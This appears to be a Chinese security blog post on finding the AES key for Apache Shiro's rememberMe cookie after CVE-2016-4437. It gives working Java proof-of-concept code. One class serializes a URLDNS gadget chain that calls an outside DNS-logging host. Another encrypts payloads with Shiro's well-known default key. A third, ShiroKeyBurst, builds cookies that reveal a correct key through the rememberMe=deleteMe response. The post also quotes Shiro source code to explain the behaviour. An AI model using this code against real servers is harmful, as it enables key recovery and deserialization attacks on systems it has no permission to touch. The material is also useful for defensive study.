经验分享

Shiro 密钥爆破之前的CVE-2016-4437提到过,在shiro-1.2.5及以后,对其进行了修复,密钥不再固定(如果不自己指定的话),而是每次启动时会自动生成一个密钥,那这种情况我们就只需要通过某种方法获取到密钥就可以继续之前的Shiro-550反序列化攻击。

最简单的方法是爆破,但重要的是如何判断我们爆破成功了?

不了解cve-2016-4437 看:shiro550

DNS回显根据rememberMe服务可知,只要我们加密的密钥一致,则可以解密出正确数据,然后反序列化。

因此可以想到的思路是用URLDNS链,通过DNS请求的回显判断是否解密成功,从而宣告密钥破解成功

生成序列化数据

package com.unserialization.cc;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.net.URL;

import java.util.HashMap;

import utils.reflection.Reflection;

import utils.serialization.Serialization;

/**

* HashMap.readObject()

* HashMap.putVal()

* HashMap.hash()

* URL.hashCode()

* URLStreamHandler.hashCode()

* URLStreamHandler.getHostAddress()

* InetAddress.InetAddress.getByName()

*/

/**

* Created by dotast on 2022/9/18 22:43

*/

public class URLDNS {

public static void main(String[] args) throws Exception{

URLDNS urldns = new URLDNS();

urldns.serialize();

//urldns.unserialize();

}

public void serialize() throws Exception {

HashMap map = new HashMap<>();

URL url = new URL("http://89a1e44b0f.ipv6.1433.eu.org");

Class cls = Class.forName("java.net.URL");

//map.put()底层会将 `(key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16)` 作为entry的hash值

//而url.hashCode() 中如果hashCode = -1 ,进入处理分支会将其值改变,同时会发送DNS请求,干扰观察

Reflection.setFieldValue(url,"hashCode",666);

map.put(url, "dotast");

Reflection.setFieldValue(url, "hashCode", -1);

Serialization.serialize("1.txt", map);

}

public void unserialize() throws Exception{

FileInputStream fileInputStream = new FileInputStream("1.txt");

ObjectInputStream in = new ObjectInputStream(fileInputStream);

in.readObject();

}

}

Reflection,Serialization是自己写的小封装

利用Shiro的AesCipherService生成remberMe payloads [shiro.version == 1.2.4]

package com.unserialization.cb.poc;

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import org.apache.shiro.crypto.AesCipherService;

import org.apache.shiro.util.ByteSource;

import java.io.*;

/**

* Created by dotast on 2022/10/10 10:45

*/

public class Shiro550 {

public static void main(String[] args) throws Exception {

String path = "1.txt";

//这里的key是正确的

byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

AesCipherService aes = new AesCipherService();

ByteSource ciphertext = aes.encrypt(getBytes(path), key);

// System.out.printf(ciphertext.toString());

try {

BufferedWriter writer = new BufferedWriter(new FileWriter("output.txt"));

writer.write("");

writer.write(ciphertext.toString());

writer.flush();

writer.close();

} catch (IOException e) {

e.printStackTrace();

System.out.println("Error: " + e.getMessage());

}

}

public static byte[] getBytes(String path) throws Exception{

InputStream inputStream = new FileInputStream(path);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

int n = 0;

while ((n=inputStream.read())!=-1){

byteArrayOutputStream.write(n);

}

byte[] bytes = byteArrayOutputStream.toByteArray();

return bytes;

}

}

key正确我们假设正确key为kPH+bIxk5D2deZiIxcaaaA==

实验结果:响应:

记住此时响应包中rememberMe=deleteMe

控制台:

dig.pm

结果分析

说明我们的密钥爆破成功

key错误我们把密钥改变:kPH+bIxk5D2deZiIxcaaaA==-->2AvVhdsgUs0FSA3SDFAdag==

域名不变

实验结果响应

控制台输出:

dig.pm

和之前一样没有任何变化

shiro自身响应回显很多情况目标主机很可能不出网,这时DNS回显法失效,故利用shiro本身的响应来判断爆破是否成功

经测试,当我们正常使用remberMe服务时,响应中不会出现rememberMe=deleteMe

什么时候会出现rememberMe=deleteMe?remberMe入口:

//AbstractRememberMeManager::

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {

PrincipalCollection principals = null;

try {

byte[] bytes = getRememberedSerializedIdentity(subjectContext);

//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:

if (bytes != null && bytes.length > 0) {

principals = convertBytesToPrincipals(bytes, subjectContext);

}

} catch (RuntimeException re) {

principals = onRememberedPrincipalFailure(re, subjectContext);

}

return principals;

}

可以看到只要不发生异常就不会进入onRememberedPrincipalFailure(re, subjectContext)

protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) {

if (log.isDebugEnabled()) {

log.debug("...省略...", e);

}

forgetIdentity(context);

//propagate - security manager implementation will handle and warn appropriately

throw e;

}

进入forgetIdentity(context);

//CookieRememberMeManager::

public void forgetIdentity(SubjectContext subjectContext) {

if (WebUtils.isHttp(subjectContext)) {

HttpServletRequest request = WebUtils.getHttpRequest(subjectContext);

HttpServletResponse response = WebUtils.getHttpResponse(subjectContext);

forgetIdentity(request, response);

}

}

进入forgetIdentity(request, response)

//CookieRememberMeManager::

private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {

getCookie().removeFrom(request, response);

}

public Cookie getCookie() {

return cookie;

}

进入SimpleCookie.removeFrom

public void removeFrom(HttpServletRequest request, HttpServletResponse response) {

String name = getName();

//public static final String DELETED_COOKIE_VALUE = "deleteMe"

String value = DELETED_COOKIE_VALUE;

String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions

String domain = getDomain();

String path = calculatePath(request);

int maxAge = 0; //always zero for deletion

int version = getVersion();

boolean secure = isSecure();

boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all

addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly);

log.trace("Removed '{}' cookie by setting maxAge=0", name);

}

POC如何让rememberMe=deleteMe在密钥错误时出现,密钥正确时不出现?

DNS回显中有两种异常

key正确时 :ClassCasstException:class java.util.HashMap cannot be cast to class org.apache.shiro.subject.PrincipalCollection

key错误时:BadPaddingException :(注:解密是否成功是看解密后的Padding(填充位)是否有n个 0x0n ,如果有则证明解密成功,key错误时有可能解密成功但明文必然与加密时的明文不一致,所以在利用解密后的数据进行反序列化时必然发生异常)Given final block not properly padded. Such issues can arise if a bad key is used during decryption.

所以只要我们让key正确时不发生异常即可,也就是让我们反序列时最外层类型为PrincipalCollection即可

PrincipalCollection继承结构:

package com.unserialization.cb.poc;

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import org.apache.shiro.crypto.AesCipherService;

import org.apache.shiro.subject.SimplePrincipalCollection;

import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;

import java.io.ObjectOutputStream;

/**

* 我们只是测试密钥是否正确,所以只需要序列化一个PrincipalCollection的实例

* 如果key正确,就能正常解密然后序列化,且类型也正确不会发生ClassCastException

* 如果key错误,要么解密失败,会发生BadPaddingException,要么虽然解密成功(根据解密后的填充位判定),但明文必然与加密时的明文大不相同,那么肯定会发生反序列化失败的异常

*/

public class ShiroKeyBurst {

public static void main(String[] args) throws Exception {

SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();

//这里是正确的key

byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

AesCipherService aes = new AesCipherService();

ByteSource ciphertext = aes.encrypt(getBytes(simplePrincipalCollection), key);

System.out.printf(ciphertext.toString());

}

public static byte[] getBytes(Object obj) throws Exception{

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);

objectOutputStream.writeObject(obj);

objectOutputStream.flush();

byte[] bytes = byteArrayOutputStream.toByteArray();

return bytes;

}

}

key正确ouput:

KzwXDOiwoX7H67Fjp6ue8hCtw0jYbWtk00oWWjr40HCeeqbzOPP+OJXV14zjz1j/iDTql5ynZsSeav0YNk9aJJn/7MYIVGZ7TgoZp3KuwPPX3zkjftUlW10tnQjuDNTjREGoil2CYpOIX/51mTGXkH7N6lmGwc9MyQ5VACRZzFv1qj79ug1rAwY+7Gxg4Blm

结果

key错误wrong key:2AvVhdsgUs0FSA3SDFAdag==

output

XKDSS0/pouqoRQvLXwACu1REoAfyeDI9WRA0nK46FsY1YRBQ1fMKnSofjE0gZO5jg3FJz+5Cf7A4Tq0GnTUiBSP18FNl+eQNTdmS30YasQISIjj5ScuJQegXQkyD3sWqR2A8+R7DUtH/GvT34L0K7ev35U02270x0ctKdFXTWR4U1Bhp+80fGpXtFwTkCTxg

结果

总结爆破固然是一种方法,但是shiro的AES 128的爆破难度非常大,所以并不建议使用爆破手段,但是文章中的“rememberMe”Cookie字段出现“deleteMe”的原因非常重要,是后续的shiro 721(填充攻击)漏洞的基础